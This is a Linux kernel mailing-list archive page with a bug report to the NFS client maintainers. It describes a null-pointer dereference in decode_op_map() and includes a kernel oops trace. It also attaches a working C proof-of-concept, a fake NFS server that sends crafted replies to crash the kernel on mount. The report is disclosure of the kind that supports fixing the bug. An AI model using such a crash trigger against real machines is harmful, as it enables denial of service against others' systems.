All of lore.kernel.org
 help / color / mirror / Atom feed
From: rtm@csail.mit.edu
To: Trond Myklebust <trond.myklebust@hammerspace.com>,
	Anna Schumaker <anna.schumaker@netapp.com>
Cc: linux-nfs@vger.kernel.org
Subject: another NFS client RPC bug
Date: Thu, 04 Nov 2021 17:10:01 -0400	[thread overview]
Message-ID: <8046.1636060201@crash.local> (raw)

[-- Attachment #1: Type: text/plain, Size: 2957 bytes --]

In decode_op_map() in fs/nfs/nfs4xdr.c:

        uint32_t bitmap_words;
        ...;
        bitmap_words = be32_to_cpup(p++);
        if (bitmap_words > NFS4_OP_MAP_NUM_WORDS)
                return -EIO;
        ...;
        p = xdr_inline_decode(xdr, 4 * bitmap_words);
        for (i = 0; i < bitmap_words; i++)
                op_map->u.words[i] = be32_to_cpup(p++);

The return value from xdr_inline_decode() isn't checked, so there can be
a null-pointer dereference if there aren't enough bytes left in the RPC
message.

I've attached a program that produces the bug on my 5.15 machine:

# cc nfs_2.c
# ./a.out
mount:mount.nfs: timeout set for Thu Nov  4 21:10:28 2021
mount.nfs: trying text-based options 'vers=4.2,addr=127.0.0.1,clientaddr=127.0.0.1'
[   29.133142] random: fast init done
accept returned 4
proc 0
proc 1
[   19.298637] Unable to handle kernel access to user memory without uaccess routines at virtual address 0000000000000000
[   19.316686] Oops [#1]
[   19.322023] Modules linked in:
[   19.329310] CPU: 0 PID: 61 Comm: mount.nfs Not tainted 5.15.0-rc7-dirty #15
[   19.341196] Hardware name: ucbbar,riscvemu-bare (DT)
[   19.350236] epc : decode_op_map+0x78/0xba
[   19.357992]  ra : decode_op_map+0x62/0xba
[   19.365744] epc : ffffffff8022d93c ra : ffffffff8022d926 sp : ffffffd0005736e0
...
[   19.504650] status: 0000000200000121 badaddr: 0000000000000000 cause: 000000000000000d
[   19.518135] [<ffffffff8022d93c>] decode_op_map+0x78/0xba
[   19.528276] [<ffffffff80239db4>] nfs4_xdr_dec_exchange_id+0x1a6/0x57e
[   19.540304] [<ffffffff8071af74>] rpcauth_unwrap_resp_decode+0x12/0x1a
[   19.552386] [<ffffffff8071bc30>] rpcauth_unwrap_resp+0x12/0x1a
[   19.563960] [<ffffffff80711fcc>] call_decode+0x112/0x176
[   19.574123] [<ffffffff8071a4b0>] __rpc_execute+0x76/0x216
[   19.584286] [<ffffffff8071aace>] rpc_execute+0x58/0x7e
[   19.594443] [<ffffffff80713358>] rpc_run_task+0x12c/0x16c
[   19.604541] [<ffffffff80224eba>] nfs4_run_exchange_id+0x1d8/0x262
[   19.616149] [<ffffffff80224f68>] _nfs4_proc_exchange_id+0x24/0x2ba
[   19.627761] [<ffffffff8022cfc4>] nfs4_proc_exchange_id+0x30/0x50
[   19.639397] [<ffffffff8023ea3e>] nfs41_discover_server_trunking+0x1c/0xa8
[   19.651468] [<ffffffff80240d64>] nfs4_discover_server_trunking+0x7c/0x1e8
[   19.663549] [<ffffffff80249114>] nfs4_init_client+0x92/0xf6
[   19.673663] [<ffffffff80205412>] nfs_get_client+0x36a/0x394
[   19.683817] [<ffffffff80248844>] nfs4_set_client+0xd6/0x13e
[   19.693935] [<ffffffff80249830>] nfs4_create_server+0xb8/0x208
[   19.705529] [<ffffffff8024161c>] nfs4_try_get_tree+0x16/0x4c
[   19.717147] [<ffffffff80218bac>] nfs_get_tree+0x34a/0x3ac
[   19.727243] [<ffffffff8012bce4>] vfs_get_tree+0x18/0x88
[   19.737351] [<ffffffff8014a28e>] path_mount+0x4f4/0x77a
[   19.747521] [<ffffffff8014a560>] do_mount+0x4c/0x7e
[   19.757264] [<ffffffff8014a912>] sys_mount+0xca/0x14e
[   19.767418] [<ffffffff80003046>] ret_from_syscall+0x0/0x2


[-- Attachment #2: nfs_2.c --]
[-- Type: application/octet-stream, Size: 3006 bytes --]

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/socket.h>
#include <sys/ioctl.h>
#include <netinet/in.h>
#include <sys/wait.h>
#include <sys/resource.h>

unsigned long long aaa[] = {
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0xc4ffffff00000000ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0xffffffffd5ffffffull,
0x0ull,
0x0ull,
0xfbfffffffeffffffull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
0x0ull,
};
int iii = 0;

int readn(int fd, char *buf, int n) {
  int orig = n;
  while(n > 0){
    int cc = read(fd, buf, n);
    if(cc <= 0) { perror("read"); return -1; }
    n -= cc;
    buf += cc;
  }
  return orig;
}

int
main(){
  struct rlimit r;
  r.rlim_cur = r.rlim_max = 0;
  setrlimit(RLIMIT_CORE, &r);

  int s = socket(AF_INET, SOCK_STREAM, 0);
  struct sockaddr_in sin;
  memset(&sin, 0, sizeof(sin));
  sin.sin_family = AF_INET;
  sin.sin_port = htons(2049);
  if(bind(s, (struct sockaddr *)&sin, sizeof(sin)) < 0){
    perror("bind"); exit(1);
  }
  listen(s, 10);
  sync(); sleep(1); sleep(1); sleep(1);

  if(fork() == 0){
    if(system("echo -n mount: ; mount -v -t nfs 127.0.0.1:/tmp /mnt") == 0){
      system("echo -n ls: ; ls -l /mnt/. /mnt/z");
      system("echo -n echo: ; echo hi > /mnt/x");
      system("echo -n umount: ; umount /mnt");
    }
    exit(0);
  }

  if(fork() == 0){
#define NAA 64
    unsigned long long aa[NAA];
    for(int i = 0; i < NAA; i++) aa[i] = aaa[iii++];
    int ii = 0;

    socklen_t sinlen = sizeof(sin);
    int s1 = accept(s, (struct sockaddr *) &sin, &sinlen);
    printf("accept returned %d\n", s1);
    if(s1 < 0) { perror("accept"); exit(1); }
    close(s);
  
    while(1){
      unsigned int ilen;
      if(readn(s1, (char*)&ilen, 4) < 0) break;
      ilen = ntohl(ilen);
      ilen &= 0x7fffffff;
      char ibuf[1024];
      if(readn(s1, (char*)ibuf, ilen) < 0) break;
      int xid = *(int*)(ibuf+0);
      int proc = ntohl(*(int*)(ibuf+20));
      printf("proc %d\n", proc);
      
      char obuf[128];
      int olen = sizeof(obuf);
      int dummy = htonl(olen | 0x80000000);
      write(s1, &dummy, 4);
      memset(obuf, 0xff, sizeof(obuf));
      for(int i = 0; i+8 <= sizeof(obuf) && ii < NAA; i += 8)
        *(unsigned long long *)(obuf + i) ^= aa[ii++];
      *(int*)(obuf+0) = xid;
      *(int*)(obuf+4) = htonl(1); // REPLY
      *(int*)(obuf+8) = htonl(0); // MSG_ACCEPTED
      *(int*)(obuf+12) = htonl(0); // opaque_auth flavor = AUTH_NULL
      *(int*)(obuf+16) = htonl(0); // opaque_auth length
      *(int*)(obuf+20) = htonl(0); // SUCCESS
      if(write(s1, obuf, olen)<=0) perror("write");
    }
    exit(1);
  }
  close(s);
  sleep(7);
}

                 reply	other threads:[~2021-11-04 21:10 UTC|newest]

Thread overview: [no followups] expand[flat|nested]  mbox.gz  Atom feed

Reply instructions:

You may reply publicly to this message via plain-text email
using any one of the following methods:

* Save the following mbox file, import it into your mail client,
  and reply-to-all from there: mbox

  Avoid top-posting and favor interleaved quoting:
  https://en.wikipedia.org/wiki/Posting_style#Interleaved_style

* Reply using the --to, --cc, and --in-reply-to
  switches of git-send-email(1):

  git send-email \
    --in-reply-to=8046.1636060201@crash.local \
    --to=rtm@csail.mit.edu \
    --cc=anna.schumaker@netapp.com \
    --cc=linux-nfs@vger.kernel.org \
    --cc=trond.myklebust@hammerspace.com \
    /path/to/YOUR_REPLY

  https://kernel.org/pub/software/scm/git/docs/git-send-email.html

* If your mail client supports setting the In-Reply-To header
  via mailto: links, try the mailto: link
Be sure your reply has a Subject: header at the top and a blank line before the message body.
This is an external index of several public inboxes,
see mirroring instructions on how to clone and mirror
all data and code used by this external index.